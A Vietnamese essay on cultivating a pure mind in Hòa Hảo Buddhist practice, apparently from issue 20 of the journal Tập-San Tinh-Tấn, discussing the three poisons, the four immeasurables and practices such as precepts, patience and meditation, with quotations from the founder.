text:
Thanh
tịnh Tâm là gì? – Là lòng trong sạch.
Cái tự tâm và tự tánh của con người vốn trong sạch, không ô-nhiễm. Thanh
tịnh Tâm cũng là Thanh tịnh Ý. Tâm thanh tịnh thì Ý nghiệp cũng thanh tịnh,
đồng thời Ngữ nghiệp và Thân nghiệp cũng sẽ thanh tịnh. Nhờ đó mà trí huệ dễ
phát sinh. Hành giả tu theo đạo Phật lúc nào cũng giữ tâm thanh tịnh, đừng để
thấm nhiễm bởi Ngũ dục lạc (Sắc dục, Thinh dục, Hương dục, Vị dục, Xúc dục).
Tâm có
hai đặc tính: Vọng tâm và Tịnh tâm.
Mục-Lục TẬP-SAN TINH-TẤN Số 20
01. Lá Thư Tòa-Soạn - Ban Biên-Tập TSTT
02. Quan-Điểm - TSTT
03. Thông-Điệp của HT\BTSTƯHN - Nguyễn-Trung-Hiếu
04. Ý-Nghĩa ngày Khai Đạo 18/5 - Vương-Học-Thiêm
05. Đại-Hội & Đại Lễ tại Sacramento - Nguyễn-Văn-Hiệp
06. Thành quả hoạt-động năm 1 nhiệm kỳ IV - BTS\TƯHN
07. Quyết-Định, Thông-Bạch - BTS\TƯHN
08. Phát biểu Cảm tưởng của DXĐ - Lê-Ngọc-Thanh
09. Đức Huỳnh Giáo Chủ và ... - Bác-Sĩ Mã-Xái
10. Cần đặt ra và nên xét lại - Nguyễn-Đăng-Vinh
11. Tham luận: Tâm Thư - Mai-Văn-Mến
12. Tạp ghi: Một Giấc Mơ Dài - Hoàng-Sơn-Long
13. Tin-Tức & Sinh-Hoạt PGHH - BTS Địa-Phương
14. Phiên tòa phúc thẩm cho Nguyễn-Văn-Lía - Đan Sương
15. Hoài-niệm nữ tu-sĩ Lê-Thị-Thu - Lê-Minh-Triết
16. Tìm-hiểu về Ngũ-Giới - Nguyễn-Trung-Hiếu
17. Yếu chỉ Pháp Môn Tịnh Độ (Phần 2) - Trạch Thiện
18. Thánh Vương (Phần 1) - Trần-Phú-Hữu
19. Tu tại gia - Nguyễn-Văn-Hiệp
20. Thanh Tịnh Tâm - Phan-Thanh-Nhàn
21. Biết là Sống - Hồng Liên Cư Sĩ
22. Cảm nghĩ về Đạo PGHH - Nguyễn-Phúc-Lạc
23. Làng Hòa-Hảo trong tôi - Dư Thị Diễm Buồn
24. Thọ Nạn hay Vắng Mặt - Trương-Văn-Thạo
25. Tình Cha - Carolyn Mỹ Trịnh
26. THƠ: Tình Mẫu Tử - Võ Văn Thanh Liêm
27. THƠ: Nối Gót Mẹ Cha - Trạch Thiện
28. THƠ: Tiễn Biệt Niên Lão Lê-Tấn-Bửu - Trạch Thiện
29. THƠ: Nói Sao Hết ?! - Trúc Lan Hương
30. THƠ: Thấy Tánh - Tầm Long
31. THƠ: Sống Đúng - Tầm Long
32. THƠ: Đường về Hậu Giang - Dư Thị Diễm Buồn
33. THƠ: Tao Ngộ - Châu Giang
34. Công-tác Đền Ơn Đáp Nghĩa - BTS\TƯHN
35. Tường-Trình về Quỹ Đền Ơn Đáp Nghĩa - Phạm-Lệ-Chi
36. Tường-trình về Quỹ Điều Hành - Phạm-Lệ-Chi
37. Tường-trình về Quỹ Tập-San Tinh-Tấn - Phạm Lệ Chi
38. Phân-Ưu - BTS\TƯHN & BTS\ĐP
39. Thư tín - TSTT
- Vọng tâm là phàm tâm, là
dục tâm, là trược tâm.
- Tịnh tâm là chân tâm, là chánh tâm, là
Thánh tâm.
Muốn đối trị Vọng tâm ta dùng Tịnh tâm.
I.- NGUYÊN NHÂN PHÁT SINH VỌNG TÂM.
Vọng tâm là tâm nghĩ quấy, toan tính
điều chẳng phải lẽ, nghĩ điều chẳng hợp với đạo lý, với chánh pháp.
Trong một con người được cấu thành bởi
ba bộ phận: Tâm lý, Sinh lý và Vật lý.
Sáu căn thuộc bộ phận Sinh lý học, thêm
vào sáu trần thuộc phạm vi Vật lý học và sáu thức thuộc phạm vi Tâm lý học.
Tổng hợp ba bộ phận nầy, tạo thành một cá nhân.
Đối tượng tiếp xúc của sáu căn (mắt,
tai, mũi, lưỡi, thân, ý) là sáu trần, là các loại vật chất thuộc phạm vi Vật lý
học. Màu sắc, hình tướng được con mắt thấy, âm thanh được lỗ tai nghe, mùi
hương được mũi ngửi, vị được lưỡi nếm, cảm giác trơn nhám, mềm, cứng được thân
xúc chạm và pháp trần là đối tượng của Ý căn, cũng gọi là Ý thức.
Do sáu căn tiếp xúc với sáu trần mà phát
sinh ra sáu thức có công năng phân biệt và ghi nhớ. Sáu căn là công cụ của sáu
thức tạo tác ra mọi hành vi thiện ác. Con người sở dĩ ở trong vòng sanh tử luân
hồi là do sáu căn không được thanh tịnh. Mọi hành vi thiện ác từ hồi vô thỉ đến
nay đều do sáu căn tạo ra. Mắt tham sắc, tai tham âm thanh, mũi tham mùi hương,
lưỡi tham vị ngon ngọt, thân tham tiếp xúc với cái êm dịu, ý tham cảnh sung
sướng.
Có tham thì có sân, vì bản chất con
người luôn luôn muốn có, muốn thêm, không bao giờ thấy đủ, không bao giờ thỏa
mãn với những gì mình đang có. Nếu không được như ý thì nẩy sinh lòng sân hận.
Còn si mê là do tối tăm, vô minh nên không phân biệt chơn giả, rồi sanh phiền
não. Hợp cả ba thành Tam độc: Tham, Sân, Si, hành ác nhiều, thiện ít, khiến cho
con người càng xa vời ngày thoát ly sanh tử.
Vì mê muội nên vọng tưởng, suy nghĩ nối
tiếp không ngừng từ chuyện nầy đến chuyện khác, từ người nầy đến người khác, từ
đời nầy đến đời khác tạo thành một luồng tư tưởng vô cùng tận. Những lúc tư
tưởng của ta dấy lên như vậy, muốn dừng lại cũng khó khăn. Thế nên khi còn khỏe
mạnh mà ta dừng lại không được thì thử hỏi lúc lâm chung, thân thể đau đớn,
thần kinh suy nhược, chắc chắn chúng ta bị nghiệp dẫn đi đâu thì đến đó. Chúng
ta không làm chủ được tâm hành của chính chúng ta thì làm sao chúng ta dừng
nghiệp được. Tâm hành là động cơ dẫn dắt chúng ta vào đường sanh tử luân hồi
hay gọi là hành nghiệp.
Lại nữa tâm thức của chúng ta cũng luôn
khởi vọng niệm. Khi thấy hình sắc thì khởi vọng niệm đẹp xấu, khi nghe âm thanh
thì vọng niệm dễ nghe hay khó nghe, khi ngửi mùi vị thì vọng niệm dễ chịu hay
khó chịu, khi nếm một vị nào đó thì vọng niệm ngon dở, khi xúc chạm vật gì thì
vọng niệm thích hay không thích. Những vọng niệm như thế lâu dần tích chứa
trong tâm thức của chúng ta với đủ mọi cảm tưởng vui, buồn, thương, ghét là
nguồn gốc của phiền não khổ đau.
Con người muốn đạt được giác ngộ, giải
thoát mọi khổ đau, dính mắc của chuyện thế gian, chỉ có hàng phục được vọng
tâm, vọng tưởng tức là tâm được an trụ. Tuy vẫn sống ở thế gian, nhưng tâm an
nhiên tự tại trước mọi lưới mê của cuộc đời thì cảnh giới Niết Bàn hiện tiền.
Đức Huỳnh Giáo Chủ cũng khuyên dạy chúng
ta:
“Tham, Sân, Si chớ để
trong lòng.
Phải giữ lòng cho được sạch trong,
Mới thoát khỏi trong vòng bịnh khổ.”
II.- GIỮ
TÂM THANH TỊNH.
Sống trong
thế gian nầy giữ được tâm thanh tịnh không phải là điều dễ dàng. Bản tâm thanh
tịnh chính là Phật tâm, cũng là tâm thể của chúng sanh khi dẹp hết phiền não
khổ đau, không còn dấy lên một niệm nào, dù niệm thiện hay bất thiện. Dù trong
thời điểm nào, dù trong bất cứ nơi đâu, dù trong hoàn cảnh nào, bản tâm thanh
tịnh chính là cảnh giới Niết Bàn. (Cảnh trí của người tu hành dứt sạch các
phiền não và tự biết rằng mình chẳng còn luyến ái).
Dứt
sạch phiền não tức là sống với tâm thanh tịnh. Vì chưa sống được hoàn toàn với
tâm thanh tịnh, dù cho người hiền thiện cũng còn bị sanh tử luân hồi chi phối.
Dù cho người đó có dẹp được tâm tham, sân, si thường tình của người thế gian,
nhưng chưa dứt hẳn tâm tham, sân, si ẩn tàng trong tâm thức một cách vi tế (nhỏ
mịn khó phân tích ra). Vi tế đối lại thô trọng. Trong Kinh sách gọi kẻ ngu,
chậm lụt thì vướng các mối phiền não thô trọng; người trí khôn lanh, sắc sảo
thì còn nhiễm những mối phiền não vi tế, cho đến các hàng Tiên ở cõi Sắc giới
và Vô sắc giới cũng còn phiền não vi tế).
Vì còn
tâm tham vi tế, nên còn mong cầu được an hưởng sung sướng ở cõi Tây Phương Cực
Lạc hay Thiên Đàng. Nhưng tâm mong cầu nầy không đi sai với đường lối tu hành
của Pháp môn Tịnh Độ. Như chúng ta biết, Pháp môn Tịnh Độ đưa ra một phương pháp
tu là phải Tín, Nguyện, Hành. Phải tin tưởng tuyệt đối vào Tam Bảo. Phải thành
tâm khẩn nguyện cầu về cõi Tây Phương Cực Lạc. Phải kiên trì niệm Phật không
đợi thời khắc, đồng thời làm lành lánh dữ cũng như phải giữ giới hạnh thì lần
lần phiền não dứt sạch, tâm ta trở nên an lạc vô cùng mầu nhiệm.
Họ
không còn khởi niệm sân hận thường tình như bực tức khi nghe lời khó nghe, lời
nhục mạ thô tục, vu khống, nhưng họ còn sân hận vi tế về tín ngưỡng hay tôn
giáo mỗi khi có ai đụng chạm đến lòng tín ngưỡng của họ. Về điểm nầy, Đức Huỳnh
Giáo Chủ khuyên:
“Ta
thường nên tập tánh khoan dung.
Thiệt
hành đi đừng có ngại ngùng,
Tha
thứ kẻ lỗi lầm ngu xuẩn.
Và
nhẫn nhịn đừng ham tranh luận,
Khỏi
mất lòng tất cả mọi người.
Tánh
thuần lương vẻ mặt vui tươi,
Vậy
mới đáng tín đồ Phật Giáo.
Nay ta đã quy y cầu Đạo,
Gây
gổ là trái thuyết Từ bi.”
Nếu hành y như lời khuyên của Đức Tôn Sư
thì chúng ta giữ được tâm thanh tịnh.
Dù không còn tâm Si mê thường tình như xin xâm, bói toán,
dựng đồng lên cốt nữa, nhưng họ chưa thấu hiểu hết được kiếp sống tạm bợ vay
mượn của con người chỉ là một chuỗi dài sanh tử luân hồi nhiều đời nhiều kiếp.
Họ không hiểu ngoài lương tâm, con người còn có cái tâm cao cả hơn, đó là Phật
tâm, là tâm tánh sáng suốt, bất sanh, bất diệt mà mỗi người đều có, như lời
giáo huấn của Đức Huỳnh Giáo Chủ:
“Nguyên tăm tối từ hồi vô thỉ.
Màn vô minh che mờ căn trí,
Nên thường khi nhận ngụy làm chơn.
Lo huyễn thân vật chất kém hơn,
Chẳng tìm biết tinh thần đạo đức.
Dệt lưới nghi đeo điều phiền phức,
Bịn rịn đời cực khổ tang thương.
Khi nói làm ít chịu suy lường,
Mãi phạm tội nên rằng nghiệp ác.
Diệt Mê si phải nương thuyền giác,
Muôn việc làm chính trực khôn ngoan.
Đừng bạ đâu tin bướng nghe càn,
Làm
ngu muội đọa thân một kiếp.”
Trong mỗi người chúng ta đều biết mình
có bản tâm thanh tịnh nhưng chưa hoàn toàn, khi được khi không, khi lành khi
dữ, khi thiện khi bất thiện. Vì tập khí nhiều đời chưa dứt sạch nên tâm ý còn
lăng xăng lộn xộn, tạp niệm đủ thứ, nghĩ chuyện đàng Đông, chuyện đàng Tây…
Cũng có người quyết tu tâm dưỡng tánh,
thiệt hành trong mọi thời gian, tận tâm, tận lực cho đến ngày nào đó được giác
ngộ giải thoát. Họ có lập trường vững chắc theo “Đường đạo đức bước đi từng
nấc.” Họ là người bước từng bước vững chắc trên đường tu tập dù có bị vấp ngã
cũng cố gắng đứng dậy vươn lên, tinh tấn dũng mãnh cho đến khi nào hoàn toàn
sống với bản tâm thanh tịnh. Ngay tại giây phút đó họ đã trọn thành Phật đạo và
Phật tâm hiển lộ viên mãn.
Phật tâm chỉ hiển lộ khi nào tâm ý hoàn
toàn thanh tịnh, không chất chứa điều phiền não, hoàn toàn trống rỗng, tịch
tịnh, không còn tham, sân, si dù là thường hay vi tế. Bản tâm thanh tịnh luôn
luôn tự tại, thản nhiên trước mọi thăng trầm ở thế gian tức là vượt qua sóng
gió của cuộc đời dù nhiều hay ít, ví như mặt gương, khi có người hay vật đi qua
thì hiện rõ hình dáng trong gương. Nhưng khi người hay vật qua rồi thì hình ảnh
ấy biến mất trong gương. Tấm gương trở lại trạng thái bình thường. Bản tâm
thanh tịnh của ta cũng vậy, luôn luôn trống lặng, không lưu trữ do tâm thương
ghét, buồn vui. Vì duyên theo cảnh trần mà khởi niệm hỉ, nộ, ái, ố…
Chúng ta đau khổ vì cứ nhận cái lăng
xăng, lộn xộn bên ngoài, cái suy nghĩ của Lục căn, Lục trần, Lục thức chi phối
rồi cho đó là tâm, chớ đâu có biết đó là vọng tưởng, là trong cơn mê. Khi dứt
suy nghĩ, biết đó là lầm lạc, hết chạy theo trần cảnh bên ngoài hết “tâm viên,
ý mã” thì ngay lúc đó chân tâm hiển hiện, đã qua cơn mê, trí tuệ được soi sáng,
là giác ngộ.
III.-
PHƯƠNG CÁCH ĐỂ CÓ ĐƯỢC TÂM THANH TỊNH.
a/- Từ, Bi, Hỉ, Xả còn gọi là Tứ vô lượng
tâm. Bốn đức tính nầy tiềm tàng trong lòng mỗi người chúng ta. Người nào phát
triển được Tứ vô lượng tâm, người ấy đã tạo được một tinh thần hòa bình giữa
mình và mọi người, hòa mình được với tất cả muôn loài vạn vật. Tứ vô lượng tâm
tạo cho chúng ta được một tâm hồn tinh khiết thanh tịnh.
Có tâm TỪ khiến ta yêu thương không
những người thân mà cả người sơ cho đến người mình cho là thù địch với mình.
Thương người tốt lại cũng thương người xấu. Thương không có tính lựa chọn ở
hiện tại mà người xấu và người ác là người chưa tốt và chưa thiện mà thôi.
Tâm TỪ là tình thương không giới hạn
trong gia đình màu da, sắc tộc, đoàn thể, tôn giáo, đảng phái, quốc gia. Tình
thương nầy không những bao trùm toàn thể nhân loại mà còn rộng ra cho đến muôn
loài vạn vật đang có ở cõi Ta Bà nầy.
Người tu theo Phật xứng đáng là người
luôn luôn nuôi trong tâm đức TỪ vô biên vô hạn, vì giáo lý của nhà Phật căn bản
là tâm TỪ. Đã hơn hai mươi lăm thế kỷ, Đức Phật đã rải khắp nơi lòng TỪ của
Ngài cho nhân loại. Nhờ có được lòng TỪ mà bao nhiêu vĩ nhân đã đắc Thánh quả
hay Bồ Tát, vượt lên Tham, Sân, Si thoát ngoài vòng chấp ngã.
Trong hiện tại, hầu như toàn thể loài người
thể hiện lòng TỪ để tạo nên một thế giới con người biết thương yêu nhau, một
thế giới hòa bình không có chiến tranh, không còn ganh tị hiềm thù, không còn
thượng trọng, hạ khinh, phú kiêu, bần siểm…
Nếu ai có được lòng TỪ như vậy, là đã
đạt một tinh thần cao cả, được yên vui trong kiếp nầy và sẽ mang theo kiếp tới
tăng bội yên vui hạnh phúc.
Những yếu tố trong Vô lượng tâm có liên
quan với nhau. Trong TỪ đã có BI và BI do lòng TỪ mà ra. Tâm BI và tâm TỪ hoàn
toàn tác động ngoài cái ta. Hành động ngoài ý vụ lợi không mong cầu cái lợi
được trả lại dù vật chất hay tinh thần. Với tâm BI không phải vì muốn dứt khổ
của người nầy mà gây cái khổ cho người khác. Cũng không có quyền lấy hạnh phúc
của người nầy đổi lấy cái khổ của người khác. Cũng như tâm TỪ, ta không có
quyền cướp mạng sống của con vật nầy để nuôi con vật khác.
Người có tâm BI, cũng như tâm TỪ, là
người có tâm trạng sáng suốt, bình thản nhận định rõ ràng sự việc không bị nội
tâm hay ngoại cảnh kích thích trong khi chia sớt khổ đau với kẻ khác, giải khổ
cho kẻ khác một cách bình tĩnh không bị xúc động.
Cũng như tâm TỪ và tâm BI, tâm HỈ phải
được rải khắp mọi nơi không giới hạn trong một phạm vi nào. Thực hành tâm HỈ là
ta đã tạo được cho ta một trạng thái của tâm hoàn toàn thanh tịnh phát ra tự
chỗ không vì ngã, lấy cái vui của tha nhân làm cái vui cho ta và đặt cái vui
của ta ngoài bản ngã của ta. Ta và người vui kia chỉ là một.
Có TỪ, có BI, có HỈ mà không có XẢ thì
Tứ vô lượng tâm không thành. Thật vậy, TỪ mà không XẢ thì thương vẫn còn vì Ta.
BI mà không XẢ là buồn vẫn còn vì Ta. HỈ mà không XẢ thì vui vẫn vì Ta. Chưa XẢ
được thì tâm vẫn còn tưởng nghĩ quanh quẩn với Tham, Sân, Si. Muốn đạt được TỪ,
BI, HỈ là phải nhờ XẢ là điều kiện cần thiết nghĩa là không bám giữ lại hình
ảnh tốt hay xấu, vui hay buồn của vạn vật.
Khi suy nghĩ, nói năng, hành động theo
Tứ vô lượng tâm TỪ, BI, HỈ, XẢ thì tâm thức của người ở trong cảnh giới Thiên
đàng và ngược lại với phàm tâm, Tham, Sân, Si thì tâm thức ở trong cảnh giới
Địa ngục.
b/- Hạnh bố thí giúp cho con người dẹp được
lòng tham muốn ích kỷ hẹp hòi như tham tiền tài, tham danh vọng, tham sắc đẹp,
tham ăn uống, tham ngủ nghỉ…Hạnh bố thí đem lại an lành, hạnh phúc cho đời
người. Ngũ dục lạc: tài, sắc, danh, thực, thùy đưa đẩy con người ở thế gian phải
đấu tranh, giành giựt, dùng mọi mưu mô thủ đoạn bất chấp sự đau khổ của kẻ
khác, bất chấp sự an nguy của bản thân. Không thỏa mãn, con người dễ nổi lên
lòng sân hận, thù đời, oán người. Hạnh bố thí giúp cho con người hiểu được
nhiều sự an lành thiết thực. Cái gì mình hiện có chắc gì giữ được dài lâu, mà
điều hiển nhiên phải để lại khi mãn đời. Chỉ có những gì mình bố thí, mới thật
sự là của mình, mới là phước báu của mình nhìn thấy qua dạng bình yên may mắn,
tai qua nạn khỏi. Chỉ khi nào ngũ dục lạc diệt được, sự giải thoát mới hoàn
toàn, mới có được một tâm thanh tịnh.
c/- Trì giới cũng là một phương cách có
được tâm thanh tịnh. Ta không nên làm tổn nhân, hại vật vì mưu cầu lợi ích
riêng tư cho mình. Hãy cố gắng giữ gìn giới hạnh trong sạch hàng ngày. Được vậy
không cần đến kiếp sau, mà hiện kiếp ta cũng thấy an lạc và hưởng nhiều phước
báu cho chính bản thân. Nhờ giới luật mà tâm ô tạp của ta dần dần cải sửa thành
tâm thanh tịnh.
d/- Người có tánh nhẫn nhịn, không tranh chấp, không
thị phi, sẽ tránh được phiền não trong cuộc đời. Người ta mắng mình dù cố ý hay
vô ý, dù hữu lý hay vô lý mà mình cảm thấy không nhục, nhịn được mới là điều
khó làm, như lời Đức Huỳnh Giáo Chủ khuyên dạy:
“Ai chưởi mắng
thì ta giả điếc,
Đợi cho người hết giận ta khuyên.
Chữ nhẫn hòa ta để đầu tiên,
Thì đâu có mang câu thù oán.
Việc hung ác hễ vừa thấp thoáng,
Chữ từ bi ta diệt nó liền.
Sự oán thù đáp lại chữ hiền,
Thì
thù oán tiêu tan mất hết.”
Là người biết tu tâm dưỡng tánh, nên
nhẫn nhịn để tránh được hậu quả phiền toái hầu giữ gìn được tâm thanh tịnh,
chính là cứu cánh của đạo Phật.
e/-
Tinh tấn là giữ đức tin mạnh mẽ, không bị thế lực hay thị dục cám dỗ, bức bách
bỏ lòng tín ngưỡng Trời Phật. Bỏ hết các sự phiền não, các điều tà vạy, diệt
lục căn, không nhiễm lục trần, phát huy tinh thần sáng suốt, rèn luyện các đức
tính tốt, yên tịnh, hỉ lạc, nghiêm trang quyết công phu sớm thành Đạo quả. Có
tinh tấn thì tâm mới thanh tịnh, mới vững lòng bước đến Niết Bàn hầu tế độ
chúng sanh thoát khỏi luân hồi nghiệp quả, như Đức Huỳnh Giáo Chủ chỉ dạy:
“Chánh Tinh Tấn dầu thành hay bại,
Cứ một đường tín ngưỡng của mình.
Dầu cho ai phá rối đức tin,
Ta
cũng cứ một đàng đi tới.”
Chúng ta tinh tấn làm các điều thiện, dù
lớn, dù nhỏ, giúp đỡ người, làm cho cuộc sống chính mình và của người chung
quanh có ý nghĩa, an lạc, hạnh phúc với tấm lòng chân thành bất vụ lợi.
f/-
Thiền định cũng là phương pháp làm cho tâm thanh tịnh. Thiền định là trau giồi tâm
tánh cho được tự tại, cho được bình tỉnh thản nhiên trước mọi hoàn cảnh của
cuộc sống. Trước mọi thăng trầm, vinh nhục, khen chê, sung sướng, đau khổ, lòng
người bất an. Nếu ta lấy thiền định dẹp bỏ mọi phiền não, khổ đau, phá tan mọi
thị dục cám dỗ lôi ta vào nẻo tà, tâm ta an định, trí ta tỉnh sáng, không còn
nhiễm ô cảnh thế, thì lần lần ta sẽ đi đến giải thoát.
Đạo Phật dạy nhiều pháp môn cho người ta
tu, tùy theo trình độ, căn cơ, hoàn cảnh, sở thích, tâm nguyện của mỗi người.
Những pháp môn đều là những phương pháp để được người tu hàng phục được vọng
tâm và an trụ chơn tâm hầu giữ được tâm thanh tịnh, cũng nhằm mục đích bước lần
đến giải thoát.
Kinh sách có câu: “Tam nghiệp hằng thanh
tịnh đồng Phật vãng Tây Phương”, nghĩa là Tam nghiệp thân, khẩu, ý đều được
thanh tịnh, không tạo nghiệp nữa thì phước báu vô lượng, vô biên, chúng ta cùng
chư Phật sống trong cõi Tịnh độ Tây phương.
Trong Kinh Kim Cang, Đức Phật dạy: “Quá
khứ tâm bất khả đắc. Hiện tại tâm bất khả đắc. Vị lai tâm bất khả đắc.” Chuyện
quá khứ qua rồi đừng luyến tiếc, đừng nghĩ làm gì cho bận tâm, chỉ gieo thêm
nghiệp chướng chẳng ích gì. Chuyện hiện tại rồi cũng qua, cố níu kéo cũng chẳng
được gì, có lo âu phiền muộn cũng chẳng ích gì. Chuyện tương lai chưa đến, lo
lắng, ưu tư sầu muộn cũng chẳng giúp ích gì. Chi bằng chúng ta giữ tâm trí được
thanh tịnh, như như, thản nhiên. Điều cần nhất là chẳng nên tạo thêm nghiệp mới
để tránh quả báo sẽ đến.
Sau khi lòng lắng xuống, không còn khổ
đau, phiền não, không còn tức giận, hận thù, không còn ganh tị, không còn
thương ghét; chúng ta thấy được mọi người đều có bản tâm thanh tịnh như nhau,
thấy được “tâm cảnh như như” không khác.
Chúng ta nhìn mọi người với ánh mắt từ
bi, nên thấy mọi người đều hiền từ. Nhìn đời với tâm tư lạc quan, lòng ta cảm
thấy an lạc và hạnh phúc hiện đời. Chúng ta sống với tâm Từ, Bi, Hỉ, Xả, đem
yêu thương đến cho mọi người chung quanh. Niềm an lạc đó chính là cảnh giới
Niết Bàn, không phải chờ đến khi từ giã cõi đời.
Muốn thành tựu ở cảnh giới thanh tịnh,
con người phải cố gắng, kiên trì, tinh tấn, cắt đứt mọi cám dỗ của cuộc đời.
Muốn có được cuộc đời an lạc, hạnh phúc ở thế gian không phải dễ dàng. Chúng ta
còn phải đối diện với mọi hoàn cảnh bất trắc, bất như ý chung quanh. Chúng ta
phải sống thực với chính mình, với tâm khiêm tốn, thiệt hành hạnh Từ, Bi, Hỉ,
Xả và cố gắng giúp đỡ người chung quanh mình được giác ngộ cùng hướng về chánh
đạo.
Người đi trên đường Đạo, cần phải tỉnh
tâm, lắng lòng, quay nhĩ căn vào bên trong, hướng nội, thì tự nhiên thấy tiếng
huyền diệu át tiếng thế gian, dạy bảo ta làm điều thiện, tránh làm việc xấu ác,
lìa mê thành giác, bỏ cái giả trở về cái chân thật, bỏ cái tầm thường giả tạm
để về chỗ cao siêu, bỏ thế gian nhập vào bản thể, tự tánh thanh tịnh.
Trong Kinh Đại Niết Bàn có bài Kệ:
Chư ác mạc tác,
Chúng
thiện phụng hành.
Tự
tịnh kỳ ý,
Thị chư Phật giáo.
Nghĩa là:
Việc ác không làm,
Làm
các việc thiện.
Giữ
tâm thanh tịnh,
Đúng lời Phật dạy.
Hành được hai câu đầu của bài Kệ, phải
là người có lương tâm. Người có lương tâm, nhận thức nội tâm theo lẽ phải,
trái, đúng, sai, tự đánh giá về hành vi của mình theo tinh thần đạo đức. Lương
tâm ví như Quan Tòa xét qua hành động của con người về tội phước. Lương tâm
giúp cho con người biết làm tròn bổn phận đối với nhân sinh xã hội, hướng dẫn
con người được sáng đẹp, được giác tiến để đưa con người đến chỗ Thiện-Mỹ.
Hành câu thứ ba, là người giữ được tâm
thanh tịnh. Cứu cánh của đạo Phật là chuyển biến tâm chúng sanh thành chánh
tâm, Bồ đề tâm.
Mục đích của người tu là đi đến Giải
thoát. Muốn giải thoát, trước hết phải dứt được lục căn, lục trần và lục thức. “Ta mau mau dứt nó cho rồi. Nếu tỉnh tâm nào
có mấy hồi. Mượn trí đạo đuổi ra khỏi xác. Dứt được nó ấy là Giải thoát.”,
đó là lời dạy của Đức Huỳnh Giáo Chủ và Ngài còn chỉ cho con đường muốn tu rốt
ráo như sau:
“Nếu ta
tìm con đường Bát chánh đạo của Phật mà đi, giữ tâm thanh tịnh, làm việc nhơn
từ, không lòng hờn giận, chẳng dạ ghét ganh, chuyên tâm niệm Phật, giúp thế độ
đời, đừng chứa điều phiền não và để bụng tham lam ích kỷ, gây mối thiện duyên,
lần lần trí huệ mở mang, cõi lòng sáng suốt, thì màn vô minh sẽ bị diệt mất.
Vô-minh bị diệt thì hành diệt; hành bị diệt thì thức diệt;
thức bị diệt thì danh-sắc diệt; danh-sắc diệt thì lục-nhập diệt; lục-nhập diệt
thì xúc-động diệt; xúc-động diệt thì thọ cảm diệt; thọ cảm bị diệt thì ái diệt;
ái bị diệt thì bảo-thủ diệt; bảo-thủ bị diệt thì hữu diệt; hữu bị diệt thì sanh
diệt; sanh bị diệt thì lão, tử diệt. Ấy là giải-thoát vậy.”
Giải thoát là cởi mở sự trói buộc của
nghiệp luân hồi sanh tử, chứng đắc quả A-la-hán lên Duyên giác, Bồ tát và Phật.
Vậy giải thoát cũng cùng nghĩa với Niết Bàn (chỗ bất sanh, bất diệt). Đức Huỳnh
Giáo Chủ cũng dạy: “Hãy tìm con đường
giải thoát cho mình bằng cách lạc Đạo an bần xả thân tu tỉnh.”
Đức Huỳnh Giáo Chủ viết ra Kệ Sám cũng
vì “Ta yêu chúng viết ra Giảng Kệ. Khuyên
Tăng đồ cùng các Tín đồ. Nghe cạn lời chớ có mờ hồ. Tìm hiểu nghĩa làm theo đắc
Đạo.” Vậy đồ chúng hãy mau sửa đổi tâm chúng sanh để trở thành tâm Phật.
Bởi vì tâm Phật hay tâm chúng sanh đều do mình tạo ra, nên Ngài nói:
“Cái
chữ Tâm mà Quỉ hay Ma,
Tiên
hay Phật cũng là tại nó.
Tu
với tỉnh biết làm chẳng khó,
Nếu
lặng tâm tỏ ngộ Đạo mầu.”
Tỏ ngộ là thấu đạt chơn lý mầu diệu của
Đạo tức là ngộ đạo. Về câu chuyện ngộ đạo của Ngài Huy Sơn. Huy Sơn đến Giang
Tây tham cầu học đạo với Tổ Bá Trượng. Một hôm nọ, Huy Sơn đang đứng hầu Bá
Trượng. Tổ gọi Huy Sơn và bảo: “Vào trong nhà lấy lửa!”.
Huy Sơn vào trong khươi tro hồi lâu trở
ra và nói: “Bạch Thầy, trong lò không có lửa.”
Tổ Bá Trượng liền rời chỗ ngồi, bước đến
lò sưởi bươi sâu xuống, gắp được cục lửa đỏ, đưa lên cho Huy Sơn xem và nói: “Ngươi
nói không có lửa chớ cái gì đây?”
Ngài Huy Sơn nhơn đó mà tỏ ngộ chơn
tánh.
Trong câu chuyện nầy cho ta thấy: Huy
Sơn bươi lò tìm không ra lửa là ý nói Huy Sơn chưa rõ mình đã có sẵn chơn tâm
rồi và cũng chưa biết phương pháp nhận chân nên chưa tỏ ngộ. Tổ Bá Trượng bươi
lò tìm ra được lửa đưa lên, khiến Huy Sơn tỏ ngộ với ý nghĩa nhờ có Thầy chỉ
cho phương cách mà Huy Sơn trực nhận bản tâm, liễu ngộ chơn tánh, cũng như câu
“Không thầy đố mầy làm nên” có cùng ý nghĩa.
Đức Huỳnh Giáo Chủ là bậc Thầy tôn kính
của chúng ta thường ân cần dạy bảo những phương thức học Đạo trong giáo pháp
của Ngài:
“Hào quang chư Phật rọi mười phương,
Đạo pháp xem qua chớ gọi thường.
Chuyên chú nghĩ suy từ nét dấu,
Cố công gìn giữ tánh thuần lương.”
Ngài cũng khuyên hóa chúng ta trong công
phu học Đạo:
“Coi rồi phải nhận cho hiểu lý,
Câu huyền sâu của kẻ Khùng nầy.
Bởi chữ Khùng của Phật của Thầy,
Chớ chẳng phải của người lãng trí.”
Và trong quyển “Giác Mê Tâm Kệ”, Ngài
chỉ rõ để giúp hành giả đạt đến chỗ an cư thanh tịnh. Ngài thuyết:
“Ra Kệ nầy hai chữ bảo an,
Cho trần thế được tâm thanh tịnh.”
Cũng như:
“Xem Kệ nầy tu tỉnh tại nhà.
Ở ruộng đồng cũng
niệm vậy mà,
Phật
chẳng chấp chẳng nài thời khắc.”
Đức Huỳnh Giáo Chủ dạy: “Tâm cần phải bình, tánh cần phải tịnh, giữ
tư tưởng cho thanh cao, trí rán tìm cái chơn lý.” Sở dĩ tâm ta chưa bình
tịnh là vì còn vọng niệm phiền não, những tư tưởng trược chưa thanh lọc hết.
Nếu hành giả muốn tâm mình thanh tịnh thì điều cốt yếu là đừng để lục căn nhiễm
vào lục trần, đoạn đứt tâm phiền não (Tham, Sân, Si), đổi hết tư tưởng xấu
thành tốt thì tâm liền thanh tịnh, trí huệ phát khai.
Đức Huỳnh Giáo Chủ nói:
“Nếu như ai biết chữ tu trì,
Tâm bình tịnh được thì phát huệ.”./.
Các Đồng-đạo trong phái-đoàn Ban
Trị-Sự PGHH Miền Bắc California.
Sign in|Recent Site Activity|Report Abuse|Print Page|Powered By Google Sites

markdown:
THANH
TỊNH TÂM
Phan
Thanh Nhàn
